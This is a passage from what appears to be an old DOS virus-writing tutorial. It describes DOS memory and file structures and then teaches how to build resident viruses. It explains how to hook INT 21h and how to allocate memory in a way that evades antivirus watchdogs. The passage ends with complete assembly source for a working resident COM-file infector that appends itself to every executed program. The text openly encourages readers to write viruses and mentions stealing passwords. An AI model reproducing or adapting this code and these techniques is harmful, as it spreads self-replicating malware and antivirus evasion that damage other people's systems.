Now it's time to know one thing we had talked a lot, the PSP.

The PSP ( Program Segment Prefix )

Its structure look like this:

 ⁄-----------------------------------ø --- +0000h 
| INT 20h ( CD 20 ) | Size : 1 WORD
√-----------------------------------¥ --- +0002h
| Pointer to the next segment | Size : 1 WORD
√-----------------------------------¥ --- +0004h
| Reserved | Size : 1 BYTE
√-----------------------------------¥ --- +0005h
| Far call to INT 21h | Size : 5 BYTES
√-----------------------------------¥ --- +000Ah
| Saved INT 22h vector | Size : 1 DWORD
√-----------------------------------¥ --- +000Eh
| Saved INT 23h vector | Size : 1 DWORD
√-----------------------------------¥ --- +0012h
| Saved INT 24h vector | Size : 1 DWORD
√-----------------------------------¥ --- +0016h
| Reserved | Size : 22 BYTES
√-----------------------------------¥ --- +002Ch
| Offset to Enviroment Segment | Size : 1 WORD
√-----------------------------------¥ --- +002Eh
| Reserved | Size : 46 BYTES
√-----------------------------------¥ --- +005Ch
| First default FCB | Size : 16 BYTES
√-----------------------------------¥ --- +006Ch
| Second default FCB | Size : 16 BYTES
√-----------------------------------¥ --- +0080h
| Command Tail and default DTA | Size : 180 BYTES
¿-----------------------------------Ÿ ---------
Total Size : 256 BYTES

Let's explain it step by step, because this structure is very important.

˛ Offset 0000h:

The INT 20h is an obsolete method for terminate program. Nowadays we use function 4Ch of the INT 21h.

˛ Offset 0002h:

Here goes the pointer to the next segment placed after our program. We can use it to know how much memory DOS have given to us ( substracting da offset pointed by it to the offset 0000 of our PSP ). It'll return to us the memory in paragraphs, so we have to multiply it by 16 to obtain the size in bytes.

˛ Offset 0005h:

This is a pretty curious way to call INT 21h. And, of course, we can use it to our purposes. The functions are in CL instead AH, and we can only use the functions below 24h. I'll explain more in TUNNELING chapter.

˛ Offset 000Ah:

Here are stored the original vectors of INT 22h. The INT 22h is the one that receives the control when the program terminates its execution using this ways:

  • INT 20h
  • INT 27h
  • INT 21h ( Functions 00h, 31h, 4Ch )

˛ Offset 000Eh:

Here are stored the vectors of another int, the INT 23h. This int is the one that handles the CTRL+C key combination.

˛ Offset 0012h:

Another int is stored here, the INT 24h. This is the int that handle the critical errors. Examples of this kinda errors ? When there isn't a floppy in your floppy drive, or when it's write-protected.

˛ Offset 002Ch:

Here goes the starting offset of the environment block.

˛ Offset 005Ch:

In this field is stored the first default FCB ( File Control Block ). This way to access files isn't normally used by programs ( they are here for compatibility with old DOS versions ), but virus writers usually use a way for make stealth. See the FCB structure for more info.

˛ Offset 006Ch:

Ditto. It's the second default FCB.

˛ Offset 0080h:

This field has two functions:

  • Store the command tail
  • Default file buffer for store DTA

This functions can't live together, so when we start a program the first thing that is here is the command tail. If we need it, i recommend you to save it to a safe place ( a variable in our code ). Da first byte of command tail ( 80h ) holds its length, and from here, it's stored the real params. The structure of the DTA will be explained in this same chapter.

The FCB ( File Control Block )

There are two kinds of FCBs : da normal and da extended ones. Here you have the structure of a normal FCB.

 ⁄-----------------------------------ø --- +0000h 
| Drive Letter ( 0=actual, 1=A... ) | Size : 1 BYTE
√-----------------------------------¥ --- +0001h
| Blank padded file name | Size : 8 BYTES
√-----------------------------------¥ --- +0009h
| Blank padded file extension | Size : 3 BYTES
√-----------------------------------¥ --- +000Ch
| Current block number | Size : 1 WORD
√-----------------------------------¥ --- +000Eh
| Logical record size | Size : 1 WORD
√-----------------------------------¥ --- +0010h
| File size | Size : 1 DWORD
√-----------------------------------¥ --- +0014h
| File date | Size : 1 WORD
√-----------------------------------¥ --- +0016h
| File time | Size : 1 WORD
√-----------------------------------¥ --- +0018h
| Reserved | Size : 8 BYTES
√-----------------------------------¥ --- +0020h
| Record within current block | Size : 1 BYTE
√-----------------------------------¥ --- +0021h
| Random access record number | Size : 1 DWORD
¿-----------------------------------Ÿ --------
Total Size : 37 BYTES

And when it's an extended FCB, all the above offsets are shifted by 7 bytes and then the first 7 bytes looks like this:

 ⁄-----------------------------------ø --- -0007h 
| FF ( Signature for extended FCB ) | Size : 1 BYTE
√-----------------------------------¥ --- -0006h
| Reserved | Size : 5 BYTES
√-----------------------------------¥ --- -0001h
| File attribute | Size : 1 BYTE
¿-----------------------------------Ÿ --------
Total Size : 44 BYTES

The way for detect if the FCB is normal or extended is to see if the first byte of FCB is a FFh byte. If it's, the FCB is extended, cause in a normal FCB this can't never happen.

There's a kinda of stealth that changes some values of the FCB for hide the infection, but this will be seen in the STEALTH chapter.

The MCB ( Memory Control Block )

It's explained in RESIDENT viruses chapter ( the next chapter ). Here you have:

 ⁄-----------------------------------ø --- +0000h 
| ID ( Z=last, M=there're more ) | Size : 1 BYTE
√-----------------------------------¥ --- +0001h
| Address of associated PSP | Size : 1 WORD
√-----------------------------------¥ --- +0003h
| Number of paras in allocated mem | Size : 1 BYTE
√-----------------------------------¥ --- +0005h
| Unused | Size : 11 BYTES
√-----------------------------------¥ --- +0008h
| Block Name | Size : 8 BYTES
√-----------------------------------¥ --- +0010h
| Zone of allocated memory | Size : ?? PARAS
¿-----------------------------------Ÿ --------
Total Size : VARIABLE

The DTA ( Disk Transfer Area )

This structure is very important in virus writing. Let's see it:

 ⁄-----------------------------------ø --- +0000h 
| Drive Letter ( equal than above ) | Size : 1 BYTE
√-----------------------------------¥ --- +0001h
| Search Template | Size : 11 BYTES
√-----------------------------------¥ --- +000Ch
| Reserved | Size : 9 BYTES
√-----------------------------------¥ --- +0015h
| File attribute | Size : 1 BYTE
√-----------------------------------¥ --- +0016h
| File time | Size : 1 WORD
√-----------------------------------¥ --- +0018h
| File date | Size : 1 WORD
√-----------------------------------¥ --- +001Ah
| File size | Size : 1 DWORD
√-----------------------------------¥ --- +001Eh
| ASCIIZ Filename + extension | Size : 13 BYTES
¿-----------------------------------Ÿ --------
Total Size : 43 BYTES

The original DTA is stored in offset 80h of the PSP. We can save it with function 1Ah of the INT 21h.

The IVT ( Interrupt Vector Table )

This ain't a " real " structure. Erhm... Let me explain... The IVT is the place when are stored all the interrupt vectors ( wow, genius! ). All the vectors are located in number_of_interrupt * 4. Imagine we want the INT 21h vectors in DS:DX... simple:

 xor ax,ax 
mov ds,ax
lds dx,ds:[21h*4]

Why we clear DS ? Coz the IVT is located from 0000:0000 to higher places. This manipulation ( without using DOS ) is the DIRECT way for obtain/put vectors of an interrupt. Well, all this stuff and more in RESIDENT VIRUSES chapter. Hey... I've forgotten a little graphic :)

 ⁄-----------------------------------ø --- +0000h 
| INT 00h vector | Size : 1 DWORD
√-----------------------------------¥ --- +0004h
| INT 01h vector | Size : 1 DWORD
√-----------------------------------¥
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
√-----------------------------------¥ --- +03FCh
| INT FEh vector | Size : 1 DWORD
√-----------------------------------¥ --- +0400h
| INT FFh vector | Size : 1 DWORD
¿-----------------------------------Ÿ ----------
Total Size : 1024 BYTES

You can imaginate that the " broken " line means that are 256 interrupts and i had to optimize this document ( i don't want it to occupy 5 megs! ) ;)

The SFT ( System File Table )

This structure is really cool. It can help you to make your code much more powerful and optimized. It's like the FCBs, but, as you can see, this one is more powerful. With this tables we can make stealth, change the file pointer the open mode, attributes... Here you have da structure for DOS 4+ ( I believe there isn't in da world someone using DOS 3 or something ). Well, if you want to code also for DOS 3, go to the Ralph Brown's interrupt list. But the SFT for DOS 3 is very similar to this one. The important values are in the same place :)

…ÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕª --- +0000h 
∫ Pointer to next file table ∫ Size : 1 DWORD
ÃÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕπ --- +0004h
∫ Number of files in this table ∫ - - - - - Size : 1 WORD - - - - - - -
»—ÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕÕ—º --- +0000h [ 3Bh bytes per file ]
| Number of file handles of file | Size : 1 WORD
√-----------------------------------¥ --- +0002h
| File open mode ( AH=3Dh ) | Size : 1 WORD
√-----------------------------------¥ --- +0004h
| File attribute | Size : 1 BYTE
√-----------------------------------¥ --- +0005h
| Device info block ( AX=4400h ) | Size : 1 WORD
√-----------------------------------¥ --- +0007h
| If char device points next dev h. | Size : 1 DWORD
| else point to DOS DPB |
√-----------------------------------¥ --- +000Bh
| Starting cluster of file | Size : 1 WORD
√-----------------------------------¥ --- +000Dh
| File time | Size : 1 WORD
√-----------------------------------¥ --- +000Fh
| File date | Size : 1 WORD
√-----------------------------------¥ --- +0011h
| File size | Size : 1 DWORD
√-----------------------------------¥ --- +0015h
| Current offset in file | Size : 1 DWORD
√-----------------------------------¥ --- +0019h ---------[ If Local File ]
| Relative cluster within file of | Size : 1 WORD
| last cluster accessed |
√-----------------------------------¥ --- +001Bh
| Number of sector with dir entry | Size : 1 DWORD
√-----------------------------------¥ --- +001Fh
| Number of dir entry within sector | Size : 1 BYTE
√-----------------------------------¥ --- +0019h ----[ Network redirector ]
| Pointer to REDIRIFS records | Size : 1 DWORD
√-----------------------------------¥ --- +001Dh
| ??? | -----------Size : 3 BYTES-------------
√-----------------------------------¥ --- +0020h
| Filename in FCB format | Size : 11 BYTES
√-----------------------------------¥ --- +002Bh
| Pointer to prev SFT sharing file* | Size : 1 DWORD
√-----------------------------------¥ --- +002Fh
| Network machine num opened file* | Size : 1 WORD
√-----------------------------------¥ --- +0031h
| PSP segment of file owner | Size : 1 WORD
√-----------------------------------¥ --- +0033h
| Offset to code segment of rec* | Size : 1 WORD
√-----------------------------------¥ --- +0035h
| Absolute clust num of last access | Size : 1 WORD
√-----------------------------------¥ --- +0037h
| Pointer to IFS driver for file | Size : 1 DWORD
¿-----------------------------------Ÿ --------
Total Size : 61 BYTES

Uhm... I forgot to say what's the way to access SFTs... Here you have the routine that puts the SFT in ES:DI, giving the file handle in BX.

 GetSFT: 
mov ax,1220h
int 2Fh
jc BadSFT

xor bx,bx
mov ax,1216h
mov bl,byte ptr es:[di]
int 2Fh
BadSFT:
ret

I really recommend you to save da values in AX/BX ( BX is very important: we put there the file handle )

(*) The fields marked are used by SHARE.EXE

The DIB ( DOS Info Block )

With the DIB we can access to very important structures, that can't be accessed by another way. This structure isn't fixed to a memory location. We must use the function 52h of the INT 21h. It isn't a documented function of DOS. When we call to the said function, we have the address of DIB in ES:BX.

Here you have:

 ⁄-----------------------------------ø --- -0004h 
| Pointer to first MCB | Size : 1 DWORD
√-----------------------------------¥ --- +0000h
| Pointer to first DPB | Size : 1 DWORD
√-----------------------------------¥ --- +0004h
| Pointer to DOS last buffer | Size : 1 DWORD
√-----------------------------------¥ --- +0008h
| Pointer to $CLOCK | Size : 1 DWORD
√-----------------------------------¥ --- +000Ch
| Pointer to CON | Size : 1 DWORD
√-----------------------------------¥ --- +0010h
| Maximum sector length | Size : 1 WORD
√-----------------------------------¥ --- +0012h
| Pointer to DOS first buffer | Size : 1 DWORD
√-----------------------------------¥ --- +0016h
| Pointer to array of cur dir struc | Size : 1 DWORD
√-----------------------------------¥ --- +001Ah
| Pointer to SFT | Size : 1 DWORD
¿-----------------------------------Ÿ --------
Total Size : 34 BYTES

The DPB ( Drive Parameter Block )

This structure provides us very useful information for our purposes. We can know where is it located by using da second pointer in the DIB ( see above )

Here you have:

 ⁄-----------------------------------ø --- +0000h 
| Drive Letter ( 0=A,1=B... ) | Size : 1 BYTE
√-----------------------------------¥ --- +0001h
| Unit number within device driver | Size : 1 BYTE
√-----------------------------------¥ --- +0002h
| Bytes per sector | Size : 1 WORD
√-----------------------------------¥ --- +0004h
| Highest sect num within a cluster | Size : 1 BYTE
√-----------------------------------¥ --- +0005h
| Shift count for clust to sectors | Size : 1 BYTE
√-----------------------------------¥ --- +0006h
| Number of reserved clusters | Size : 1 WORD
√-----------------------------------¥ --- +0008h
| Number of FATs | Size : 1 BYTE
√-----------------------------------¥ --- +0009h
| Number of root directory entries | Size : 1 WORD
√-----------------------------------¥ --- +000Bh
| Number of first sector with data | Size : 1 WORD
√-----------------------------------¥ --- +000Dh
| Number of last sector with data | Size : 1 WORD
√-----------------------------------¥ --- +000Fh
| Number of sectors per FAT | Size : 1 BYTE
√-----------------------------------¥ --- +0010h
| Sector number of first dir sector | Size : 1 WORD
√-----------------------------------¥ --- +0012h
| Address of device driver header | Size : 1 DWORD
√-----------------------------------¥ --- +0016h
| Media ID byte | Size : 1 BYTE
√-----------------------------------¥ --- +0017h
| 00h if disk accessed, else FFh | Size : 1 BYTE
√-----------------------------------¥ --- +0018h
| Pointer to next DPB | Size : 1 DWORD
¿-----------------------------------Ÿ --------
Total Size : 28 BYTES

The Partition Table

Well, this structure is preety known by everyone that codes boot infectors. This is the first block of the hard disk. It's always the first, doesn't matter if we're in a floppy or in a Hard Disk. We can also call it MBR ( Mas ter Boot Record ) when HD, or Boot Sector when FD.

The partition table is an array with four entries, located at offset 01BEh in the block. Here you have the format of each of these entries:

 ⁄-----------------------------------ø --- +0000h 
| Boot indicator ( Bootable = 80h, | Size : 1 BYTE
| Non bootable 00h ) |
√-----------------------------------¥ --- +0001h
| Head where the partition begins | Size : 1 BYTE
√-----------------------------------¥ --- +0002h
| Sector where the partition begins | Size : 1 BYTE
√-----------------------------------¥ --- +0003h
| Cylinder where the part. begins | Size : 1 BYTE
√-----------------------------------¥ --- +0004h
| System indicator* ( What OS ? ) | Size : 1 BYTE
√-----------------------------------¥ --- +0005h
| Head where partition ends | Size : 1 BYTE
√-----------------------------------¥ --- +0006h
| Sector where the partition ends | Size : 1 BYTE
√-----------------------------------¥ --- +0007h
| Cylinder where the partition ends | Size : 1 BYTE
√-----------------------------------¥ --- +0008h
| Total blocks preceding partition | Size : 1 DWORD
√-----------------------------------¥ --- +000Ch
| Total blocks in the partition | Size : 1 DWORD
¿-----------------------------------Ÿ --------
Total Size : 16 BYTES

(*) 01 = 12-bit FAT
04 = 16-bit FAT

The BPB ( Bios Parameter Block )

In DOS based systems, the boot record begins with a jump, followed by the following structure, the BPB.

 ⁄-----------------------------------ø --- +0000h 
| OEM name and version ( ASCII ) | Size : 8 BYTES
√-----------------------------------¥ --- +0008h
| Bytes per sector | Size : 1 WORD
√-----------------------------------¥ --- +000Dh
| Sectors per cluster | Size : 1 BYTE
√-----------------------------------¥ --- +000Eh
| Reserved sector ( starting at 0 ) | Size : 1 WORD
√-----------------------------------¥ --- +0010h
| Number of FATs | Size : 1 BYTE
√-----------------------------------¥ --- +0011h
| Num of 32 bit root dir entries | Size : 1 WORD
√-----------------------------------¥ --- +0013h
| Total sectors in partition | Size : 1 WORD
√-----------------------------------¥ --- +0015h
| Media descriptor | Size : 1 BYTE
√-----------------------------------¥ --- +0017h
| Sectors per FAT | Size : 1 WORD
√-----------------------------------¥ --- +0019h
| Sectors per track | Size : 1 WORD
√-----------------------------------¥ --- +001Bh
| Number of heads | Size : 1 WORD
√-----------------------------------¥ --- +001Dh
| Number of hidden sectors | Size : 1 WORD
¿-----------------------------------Ÿ --------
Total Size : 29 BYTES

---¥ More cool viruses : RESIDENT viruses √----------------------------------

Well, if you have reached this point and you're still alive, you have future in this cool world called virus scene :)

Here begins da interesting stuff for you ( to read ) and for me ( to write )

What the hell is a resident program?

Well, first of all i'll explain you just the opposite :)
When we execute a non-resident program ( normal program such edit ), DOS gives it determinated memory, but this memory is deallocated when the application is terminated ( with an INT 20h, or INT 21h functions like the famous 4Ch ).

A resident program is executed like a normal program, but it leaves in memory a portion of itself, that is not deallocated after program termination. Resident programs ( aka TSR = Terminate and Stay Resident ) usually replace some interrupts, and putting its own ones, for perform the task for they're designed. What uses can we give to a TSR program ? We can use for hacking ( steal passwords ), for our cool utilities... all depends of your imagination. Of course, i don't forget it... for make RESIDENT VIRUSES :)

What can a TSR virus give you?

TSR isn't the best way to call viruses that go resident. Imagine you're executing something and it returns to DOS. No. We can't TERMINATE and stay resident! The user will note there's something wrong. We must RETURN to host and stay resident :) TSR is only an abbreviation ( misused, i must add ). Resident viruses can offer us a new world of possibilities. We can make our virus much more infectious, safe... We can disinfect file when an attempt to open/read file is detected ( imagine, AVs won't detect anything ), we can hook the functions used by AVs in order to fool them, we can substract the virus size to inexpert user eyes ( erhm... experts too ) ;)

Nowadays there isn't reasons to make runtime viruses. They're slow, easily detectable, and OBSOLETE ( Hey! An excellent Fear Factory album! ) :)

Let's see a little example of resident program.

;---[ CUT HERE ]------------------------------------------------------------- 
; This program will check if it's already in memory, and then it'll show us a
; stupid message. If not, it'll install and show another msg.

.model tiny
.code
org 100h

start:
jmp fuck

newint21:
cmp ax,0ACDCh ; Are user caliing our function?
je is_check ; If yes, answer the call
jmp dword ptr cs:[oldint21] ; Else jump to original int 21

is_check:
mov ax,0DEADh ; We answer it
iret ; And make an interrupt return :)

oldint21 label dword
int21_off dw 0000h
int21_seg dw 0000h

fuck:
mov ax,0ACDCh ; Residence check
int 21h ; Invented function, of course ;)
cmp ax,0DEADh ; Are we here?
je stupid_yes ; If yes, show message 2

mov ax,3521h ; If not, we go and install
int 21h ; Function for get INT 21h vectors
mov word ptr cs:[int21_off],bx ; We store offset at oldint21+0
mov word ptr cs:[int21_seg],es ; We store segment at oldint21+2

mov ax,2521h ; Function for put new int 21 handler
mov dx,offset newint21 ; where is it located
int 21h

mov ax,0900h ; Show message 1
mov dx,offset msg_installed
int 21h

mov dx,offset fuck+1 ; Make resident from offset 0 until
int 27h ; offset in dx using int 27h
; This will also terminate program<g>

stupid_yes:
mov ax,0900h ; Show message 2
mov dx,offset msg_already
int 21h
int 20h ; Terminate program.

msg_installed db "Stupid Resident not installed. Installing...$"
msg_already db "Stupid Resident is alive and kicking your ass!$"

end start

;---[ CUT HERE ]-------------------------------------------------------------

This little example can't be used to code a virus... Why? INT 27h, after put a program in memory, terminates current execution. It's like it put code in memory and make INT 20h or whatever you use for terminate current program execution.

And then... What can we use to code a virus?

TSR viruses algorithm

We can follow this steps ( imagination is quite good in virus coding... ) :)

  1. Check if program is already resident ( yes, goto 5; no, continue )
  2. Allocate memory we want
  3. Copy virus body to memory
  4. Get interrupt vectors, save them and put ours
  5. Restore host file
  6. Return control to it

Residence checks

When we're coding a resident program, we must make at least one check to see if our program is already installed. Usually, it's an invented function, and when we call it, the function return us a determinated value ( we choose it, too ) or if it isn't installed, it makes AL = 00.

Let's see an example:

        mov     ax,0B0B0h 
int 21h
cmp ax,0CACAh
je already_installed
[...]

If it was already installed, we restore the infected file host, and return control to original program. If it wasn't installed, we go and install. The INT 21h handler for this virus will look like this:

 int21handler: 
cmp ax,0B0B0h
je install_check
[...]

db 0EAh
oldint21:
dw 0,0

install_check:
mov ax,0CACAh
iret

Allocate modifying MCB

The most used way to allocate memory is da MCB ( Memory Control Block ) one. There're two way to perform this action: using DOS or doing it DIRECTLY. After seeing what the hell are each way, let's see what is a MCB.

A Memory Control Block is created by DOS for each control block that da program uses. The length of the block is one paragraph ( 16 bytes ), and it always goes before the allocated memory. Ahh! num it's always divisible by 16 We can know the location of the MCB of our program substracting to the code segment 1 ( CS-1 ) if is a COM file, and DS if EXE ( remember, in EXEs CS<>DS ) You can see the MCB structure in STRUCTURES chapter ( Already seen, the last lesson we have seen )

˛ Using DOS for modify MCB:

Well, the method i used in my first virus, the Antichrist Superstar, is very simple and effective. First we make a request to DOS using function 4Ah of INT 21h for all memory ( BX=FFFFh ), that is an impossible value. This function will see that we're requesting for too much memory, so it will place in BX all memory that we can use. So we substract to this value the code size of our virus in paragraphs (((size+15)/16)+1 ) and call again the function 4Ah. Now it's time to substract to da free memory the memory we want. We can do it by doing a "sub word ptr ds:[2],(size+15)/16+1", and then call to DOS function 48h, with the code size in paragraphs in BX. This will return in AX the segment of allocated block, so we put it in ES, decrement AX, and put the new value in DS. Now we have in DS the MCB, so we have to manipulate it. We must put in DS:[0] the byte "Z" or "M" ( Depending of your needs, see MCB structure ), and in DS:[1] the word 0008, for tell DOS that the block is of its own, and then it won't overwrite it.

Arf, Arf... After this huge theory, some code will be good.

Something like this will configure MCB to your needs:

        mov     ax,4A00h                ; Here we request for an impossible 
mov bx,0FFFFh ; amount of free memory
int 21h

mov ax,4A00h ; And we substract the virus size in
sub bx,(virus_size+15)/16+1 ; paras to the actual amount of mem
int 21h ; ( in BX ) and request for space.

mov ax,4800h ; Now we make DOS substract 2 da free
sub word ptr ds:[2],(virus_size+15)/16+1 ; memory what we need in
mov bx,(virus_size+15)/16 ; paragraphs
int 21h

mov es,ax ; In AX we get the segment of our
dec ax ; memory block ( doesn't care if EXE
mov ds,ax ; or COM ), we put in ES, and in DS
; ( substracted by 1 )
mov byte ptr ds:[0],"Z" ; We mark it as last block
mov word ptr ds:[1],08h ; We say DOS the block is of its own

Quite simple and effective... However, this will only manipulate the memory, it doesn't move your code to memory. This is VERY easy. But we'll see it later.

˛ Direct modify of MCB:

This method does exactly the same, but the way to reach our target is different. It has one thing that makes it better that the above method: a TSR AV watchdog won't say anything of memory manipulation cause we don't use any kinda interrupt :)

The first we do is to put DS in AX ( coz we can't make any kinda things with segments ), we decrement it by 1, and then we put it again in DS. Now DS points to the MCB. If you remember the MCB structure, in the offset 3 we had the amount of current memory in paragraphs. So we need to substract to this value the amount of memory we're going to use. We'll use BX ( why not? ) ;) If we take a look to the past, we can remember that MCB is 16 bytes above da PSP. All the PSP offsets are shifted by 16 ( 10h ) bytes. We need to change the value of TOM, located at offset 2 of PSP, but we are not pointing to PSP now, we're pointing to MCB. What can we do? Instead using offset 2, we use offset 12h ( 2+16=18=12h ). We substract to it our memory needs in paras ( remember, virus size+15 divided by 16 ). The new value of this offset now has the new segment of our program, and we need it in a segment. We're going to use the Extra Segment ( ES ). But we can make a mov with ES and this location ( due da limitations of segment manipulations ). We must use a temporal register. AX will be good for our purposes. Now we mark ES:[0] with a "Z" ( before we used DS as segment handler ), and ES:[1] with an 8.

After the always boring theory, some code will be good

        mov     ax,ds                   ; DS = PSP 
dec ax ; We use AX as temporal register
mov ds,ax ; DS = MCB

mov bx,word ptr ds:[03h] ; We put in BX the amount of memory
sub bx,((virus_size+15)/16)+1 ; and then we put in BX for change
mov word ptr ds:[03h],bx ; We put it in its original place

mov byte ptr ds:[0],"M" ; Mark as not last block

sub word ptr ds:[12h],((virus_size+15)/16)+1 ; Subs virus size
; to TOM size
mov ax,word ptr ds:[12h] ; Now offset 12h handles the new seg.
mov es,ax ; And we need AX for put it in ES

mov byte ptr es:[0],"Z" ; Mark as last block
mov word ptr es:[1],0008h ; Mark DOS as owner

Move the virus to memory

This is da simplest thing in the resident virus coding. If you know for what purposes we can use the MOVSB instruction ( and of course, MOVSW, MOVSD... ) you'll see how much easy is it. All we must do is setup from we want to move and how many data. It's quite simple. Da beginning of data move is magically always equal to delta offset, do if we have the delta offset in BP, all we need it to move to SI the content of BP. And we put the virus size in bytes in CX ( or in words if we want to use MOVSW ). Note that DI must be 0. It'll be enough with a xor di,di ( an optimized way to make a mov di,0 ). Let's see code...

        push    cs                      ; Adjust segments 
pop ds ; CS = DS

xor di,di ; DI = 0 ( Top Of Memory )
mov si,bp ; SI = offset virus_start
mov cx,virus_size ; CX = virus_size
rep movsb ; Move bytes from DS:SI to ES:DI

Hooking interrupts

After move our virus to memory, we need to modify at least one it for perform our infection. It's usually INT 21h in about all resident infectors under the sun, but when we're in a boot virus ( or a multipartite virus that infect also floppies and MBRs ) we also have to hook the INT 13h. The ints we hook depend of our needs. There're two ways of hooking interrupts: using DOS or direct hooking. We must note some things to make our handler:

- First of all, we MUST preserve all registers we use PUSHING them at the beginning of the handler ( flags too ), and when we'll be going to return da control to the original handler, POP'em all.

- The second thing we must remember is that u can NEVER call an intercepted function that is previously hooked by our virus, we'll fall in an infinite loop. Let's imagine we've hooked function 3Dh of INT 21h ( Open File ), and we call it from the hooked function code ( or another of our new interrupt handler )... Da computer will hang. Instead of this we must make a fake call to the INT 21h like this one:

 CallINT21h: 
pushf
call dword ptr cs:[oldint21]
iret

We can do another thing. We can redirect another interrupt, and make it point to the old INT 21h. A good choice seems to be INT 03h: It's a good antidebugging trick, makes our code more little ( INT 03h is coded CCh that only takes one byte, and normal ints are coded CDh XX, where XX is the hex value of out int ), and we forget all the problems of call intercepted functions. When we're about to pass the control to original INT 21h, it's good to restore all hooked interrupts that were redirected to INT 21h.

˛ Hooking interrupts using DOS:

We must get the original vector of an interrupt before put our own vector.
This can be done with the function 35h of the INT 21h.
Let's see the input parameters for this function:

  • AH = 35h
  • AL = Interrupt Number

When called, it returns us this values :

  • AX = Preserved
  • ES = Interrupt Handler Segment
  • BX = Interrupt Handler Offset

After calling this function, we store ES:BX in a variable in our code for later use, and set a new interrupt handler. The function we must use is the 25h of INT 21h. Here you have the parameters:

  • AH = 25h
  • AL = Interrupt Number
  • DS = New Handler Segment
  • DX = New Handler Offset

Let's see an example of interrupt hooking by using DOS:

        push    cs                      ; Adjust segments 
pop ds ; CS = DS

mov ax,3521h ; Get interrupt vector function
int 21h

mov word ptr [int21_off],bx ; Now store variables
mov word ptr [int21_seg],es

mov ah,25h ; Put new interrupt
lea dx,offset int21handler ; Offset to new handler
int 21h
[...]

oldint21 label dword
int21_off dw 0000h
int21_seg dw 0000h

˛ Direct hook of interrupts:

If we forget DOS, we win some things i said before ( in the direct MCB modifying ). Do you remember the structure of the interrupt table ? It begins at 0000:0000, and it takes to 0000:0400h. Here we have all the interrupts we can use, from the INT 00h till the INT FFh.

Let's see some code:

        xor     ax,ax                   ; Make zero AX 
mov ds,ax ; For make zero DS ( now AX=DS=0 )
push ds ; We nned to restore DS later

lds dx,ds:[21h*4] ; All interrupts are in int number*4
mov word ptr es:int21_off,dx ; Where save offset
mov word ptr es:int21_seg,ds ; " " segment

pop ds ; Restore DS
mov word ptr ds:[21h*4],offset int21handler ; The new handler
mov word ptr ds:[21h*4+2],es

Last words about residency

Well, there aren't my last words really. I'll talk a lot of infections, and all this stuff in the rest of this document, but i assume you know how to do a resident virus after this. All the stuff from here to the last line of the document is thought to be implemented to a TSR virii. Of course, if i say that something is for runtime viruses, don't scream! :)

After terminate this lesson, i must put an example of full-working resident virus. We also used at this point G˝. It's a lame resident COM infector.

;---[ CUT HERE ]------------------------------------------------------------- 
; This code isn't commented as good as the RUNTIME viruses. This is cause i
; assumed all the stuff is quite clear at this point.
; Virus generated by G˝ 0.70·
; G˝ written by Dark Angel of Phalcon/Skism
; Assemble with: TASM /m3 lame.asm
; Link with: TLINK /t lame.obj

checkres1 = ':)'
checkres2 = ';)'

.model tiny
.code

org 0000h

start:
mov bp, sp
int 0003h
next:
mov bp, ss:[bp-6]
sub bp, offset next ; Get delta offset

push ds
push es

mov ax, checkres1 ; Installation check
int 0021h
cmp ax, checkres2 ; Already installed?
jz done_install

mov ax, ds
dec ax
mov ds, ax

sub word ptr ds:[0003h], (endheap-start+15)/16+1
sub word ptr ds:[0012h], (endheap-start+15)/16+1
mov ax, ds:[0012h]
mov ds, ax
inc ax
mov es, ax
mov byte ptr ds:[0000h], 'Z'
mov word ptr ds:[0001h], 0008h
mov word ptr ds:[0003h], (endheap-start+15)/16

push cs
pop ds
xor di, di
mov cx, (heap-start)/2+1 ; Bytes to move
mov si, bp ; lea si,[bp+offset start]
rep movsw

xor ax, ax
mov ds, ax
push ds
lds ax, ds:[21h*4] ; Get old int handler
mov word ptr es:oldint21, ax
mov word ptr es:oldint21+2, ds
pop ds
mov word ptr ds:[21h*4], offset int21 ; Replace with new handler
mov ds:[21h*4+2], es ; in high memory

done_install:
pop ds
pop es
restore_COM:
mov di, 0100h ; Where to move data
push di ; In what offset will the ret go
lea si, [bp+offset old3] ; What to move
movsb ; Move 3 bytes
movsw
ret ; Return to 100h

old3 db 0cdh,20h,0

int21:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es

cmp ax, 4B00h ; execute?
jz execute
return:
jmp exitint21
execute:
mov word ptr cs:filename, dx
mov word ptr cs:filename+2, ds

mov ax, 4300h ; Get attributes for later restore
lds dx, cs:filename
int 0021h
jc return
push cx
push ds
push dx

mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h

lds dx, cs:filename ; Open file for read/write
mov ax, 3D02h
int 0021h
xchg ax, bx

push cs ; Adjust segments
pop ds

push cs
pop es ; CS=ES=DS

mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx

mov cx, 001Ah ; Read 1Ah bytes of file
mov dx, offset readbuffer
mov ah, 003Fh
int 0021h

mov ax, 4202h ; Move file pointer to the end
xor dx, dx
xor cx, cx
int 0021h

cmp word ptr [offset readbuffer], 'ZM' ; Is it EXE ?
jz jmp_close
mov cx, word ptr [offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jl skipp
jmp_close:
jmp close
skipp:

cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so

mov di, offset old3 ; Restore 3 first bytes
mov si, offset readbuffer
movsb
movsw

sub ax, 0003h
mov word ptr [offset readbuffer+1], ax
mov dl, 00E9h
mov byte ptr [offset readbuffer], dl
mov dx, offset start
mov cx, heap-start
mov ah, 0040h ; concatenate virus
int 0021h

xor cx, cx
xor dx, dx
mov ax, 4200h ; Move pointer to the beginning
int 0021h


mov dx, offset readbuffer ; Write first 3 bytes
mov cx, 0003h
mov ah, 0040h
int 0021h


close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h

mov ah, 003Eh ; Close file
int 0021h

pop ax ; restore file attributes
pop dx ; get filename and
pop ds
pop cx ; attributes from stack
int 0021h

exitint21:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax

db 00EAh ; return to original handler
oldint21 dd ?

signature db '[PS/G˝]',0

heap:
filename dd ?
readbuffer db 1ah dup (?)
endheap:
end start
